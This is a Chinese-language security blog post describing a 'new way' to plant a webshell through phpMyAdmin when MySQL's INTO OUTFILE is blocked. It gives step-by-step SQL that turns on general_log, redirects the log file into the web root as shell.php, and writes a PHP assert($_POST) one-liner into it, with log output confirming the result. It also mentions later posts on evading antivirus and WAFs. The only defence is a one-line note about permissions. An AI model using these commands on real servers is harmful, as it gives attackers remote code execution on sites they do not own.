phpMyAdmin新姿勢getshell

02-05

0x00 設想

假設我們擁有MySQL的root許可權，登錄Web端的phpMyAdmin資料庫管理控制台，你有多少種方法去getshell？

本文旨在研究新的方法，如果在INTO OUTFILE禁用的情況下，或許會少很多思路了。

這裡的禁用是完全（許可權）禁用，而不是攔截行為。

0x01 常規方法測試

好了，入正題，我目前擁有一台WIN XP虛擬機，上面的服務如下：

Apache 2.4.23（此環境與本文實現的攻擊關係不大）
PHP 5.4.45（此環境與本文實現的攻擊關係不大）
phpMyAdmin 4.6.6（此環境與本文實現的攻擊關係不大）
MySQL 5.5.53 - MySQL Community Server (GPL) （5.0以上）
絕對路徑：C:phpStuWWW

目前大部分站點都使用了MySQL 5.0以上的版本

我們先嘗試一下使用SQL表達式INTO OUTFILE 去getshell：

可以看到已經被阻止了，具體原因我們在這裡講一下：

錯誤提示

#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement.n

secure-file-priv這個全局變數是指定文件夾作為導出文件存放的地方，默認情況下，secure-file-priv是一個空值（NULL）。我們現在設置為網站的根目錄，再去嘗試使用INTO OUTFILE getshell。

但是在我們使用SQL修改的時候，發現這個值是只讀的。

經過查閱資料知道，這個值只能通過修改MySQL的配置文件來達到修改的目的。

0x02 新姿勢測試

這些希望破滅以後我並沒有沮喪，我相信這些研究都是有用的，有助於我的思考。

於是把目光轉向了MySQL的特性，開始測試MySQL全局變數對MySQL本身的影響。

最後我發現MySQL 5.0+的版本會自動創建日誌文件，那麼在服務運行的情況下修改全局變數也是可以變動文件位置的，但是必須要對生成日誌的目錄有可讀可寫的許可權。（Linux環境下可能會比較苛刻，因為站點目錄是一個用戶，MySQL是另外一個用戶，許可權管控較為嚴格，主要取決於許可權配置是否得當）

OK，不廢話，開始測試~~

首先呢，介紹兩個MySQL全局變數（general_log、general_log file）

general log 指的是日誌保存狀態，一共有兩個值（ON/OFF）ON代表開啟 OFF代表關閉。
general log file 指的是日誌的保存路徑。

我們先查看一下全局變數 ~

目前是OFF狀態，也就是不保存SQL到日誌文件中。

這裡強調一下保存過程，general_log是保存每一條你執行的SQL到文件中。目前為OFF，所以文件還沒有被創建，我們修改為ON嘗試讓MySQL創建文件：

我們去主機上的目錄里看看這個文件是否存在：

貼出文件內容：

C:phpStumysql/bin/mysqld.exe, Version: 5.5.53 (MySQL Community Server (GPL)). started with:nTCP Port: 3306, Named Pipe: MySQLnTime Id Command Argumentn170323 18:08:54t 35 Quitn

目前是沒有什麼內容的。我們在控制台隨便執行一個SQL：

SELECT MD5(admin);n

貼出新的日誌內容：

C:phpStumysql/bin/mysqld.exe, Version: 5.5.53 (MySQL Community Server (GPL)). started with:nTCP Port: 3306, Named Pipe: MySQLnTime Id Command Argumentn170323 18:08:54t 35 Quittn170323 18:12:55t 36 Connecttroot@localhost on ntt 36 QuerytSET NAMES utf8 COLLATE utf8_general_cintt 36 Init DBtmysqlntt 36 QuerytSHOW MASTER LOGSntt 36 Quittntt 37 Connecttroot@localhost on ntt 37 QuerytSET NAMES utf8 COLLATE utf8_general_cintt 37 Quittn170323 18:13:21t 38 Connecttroot@localhost on ntt 38 QuerytSET NAMES utf8 COLLATE utf8_general_cintt 38 QuerytSELECT MD5(admin)ntt 38 Quitn

可以清除的發現，日誌文件同步保存了我們所有的SQL語句……猥瑣的思路從腦海中噴發而出~ 我們要在站點目錄下使用MySQL的日誌功能創建一個shell.php

首先查看目錄中不存在shell.php這個文件：

（確保general_log 的值已經為ON，前面已經設置過了）然後設置general_log_file的值為我們一句話木馬的絕對路徑：

SET global general_log_file=C:/phpStu/WWW/shell.php;n

我們再去看看站點下是否創建了這個文件：

創建成功，並且文件內容中也有日誌的初始值。

我們現在寫入一句話~ 強調一下，SQL就是SQL，在保存到日誌中的時候不會解析轉譯符號，不知道大家能否理解，我舉一個例子：

我們查詢：

SELECT <?php assert($_POST[admin]);?>;n

保存到日誌中也會變成

SELECT <?php assert($_POST[admin]);?>;n

php這邊解析的時候就會報錯，因此我們採用單引號與雙引號公用的方式實現：

SELECT <?php assert($_POST["admin"]);?>;n

PS：$_POST中不用引號也可以~

我們訪問看看~

已經解析php了，我們同樣測試一下是否能執行php代碼吧 ~

貼出日誌內容：

C:phpStumysql/bin/mysqld.exe, Version: 5.5.53 (MySQL Community Server (GPL)). started with:nTCP Port: 3306, Named Pipe: MySQLnTime Id Command Argumentntt 44 Quittn170323 18:27:27t 45 Connecttroot@localhost on ntt 45 QuerytSET NAMES utf8 COLLATE utf8_general_cintt 45 Init DBtmysqlntt 45 QuerytSHOW MASTER LOGSn170323 18:27:28t 45 Quittntt 46 Connecttroot@localhost on ntt 46 QuerytSET NAMES utf8 COLLATE utf8_general_cintt 46 Quittn170323 18:28:01t 47 Connecttroot@localhost on ntt 47 QuerytSET NAMES utf8 COLLATE utf8_general_cintt 47 QuerytSELECT <?php assert($_POST["admin"]);?>ntt 47 Quittn

如果有WAF該怎麼辦？ 留到下兩篇，主要是shell免殺和菜刀的免殺。

0x03 總結

在許可權把控不嚴謹的情況下容易出現此類攻擊，如果MySQL沒有許可權在站點根目錄下創建文件的話也就不會發生這樣的情況了。

修復方案就是許可權把控好就可以了 ~

另外，最近沒有特別頻繁的更新文章，在這裡給讀者們道個歉！！！

希望能夠諒解，活動結束以後，還會有系列文章，敬請期待！！！

關於加入一葉之安讀者微信群的問題

我們開通了微信群後，有大量的讀者加入，當天就滿100多人了（目前300多人），所以微信二維碼失效，你還可以加微信任意一個賬號：Guest_Killer_0nlis、cimoom829、Snake_90邀請進入。感謝大家的支持！！！